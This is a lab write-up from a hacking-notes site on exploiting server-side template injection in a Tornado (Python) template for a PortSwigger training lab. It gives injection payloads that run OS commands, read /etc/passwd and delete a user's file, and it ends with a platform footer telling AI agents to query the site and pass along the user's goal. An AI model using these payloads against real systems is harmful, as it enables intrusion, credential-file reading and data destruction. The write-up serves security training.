> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/ssti/basic-ssti-in-a-python-code-context.md).

# Basic SSTI in a Python Code Context

Basic SSTI in a Python Code Context notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Basic Server-side Template Injection (code Context)

This lab presents a vulnerability **Server-Side Template Injection (SSTI)** due to unsecured use of a **Tornadotemplate**. / The goal is to run arbitrary code via the template engine, then delete the `morale.txt` file located in Carlos' personal directory.

A test account is provided: **wiener:peter**.

#### **Application Analysis**

In the section that defines how the user wishes to be displayed during a comment, it is possible to modify the parameter transmitted:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5c19e4da6b776d8ea35fdf11da3664b906ce511f%2Fimage%20(285).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

The error returned by the server confirms the presence of a **Python/Tornado** engine, suggesting a template injection.

```bash
blog-post-author-display=user.JAAJAJAJ&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1da9c8f43232ae32f5b11e622e06e6b741e933d3%2Fimage%20(286).png?alt=media" alt="" width="551"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b7d20b3e53a9ce830e1a9ae9d4560ec4da3a72b4%2Fimage%20(287).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Tests D'injection Basique**

To check if the template is interpreted:

```python
{{7*7}}
}}{{7*7
```

The rendering confirms the injection: the calculation is performed by the template engine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-759903c6ab5888e38e371c742920dbd67708db79%2Fimage%20(288).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Order Execution**

Tornado allows the import of modules directly into the template

```python
{{os.system('whoami')}}
{%import os%}{{os.system('whoami')}}
```

#### **Read File `/etc/passwd`**

Injection adapted to the vulnerable parameter

{% code overflow="wrap" %}

```python
blog-post-author-display=user.name}}{%import os%}{{os.system('cat /etc/passwd')}&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-820fed3e03bd01879f7d9eeecad9b372158b787e%2Fimage%20(289).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Deleted Moral File. Txt**

Final order to validate the lab:

{% code overflow="wrap" %}

```bash
blog-post-author-display=user.name}}{%import os%}{{os.system('rm /home/carlos/morale.txt')}&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/ssti/basic-ssti-in-a-python-code-context.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
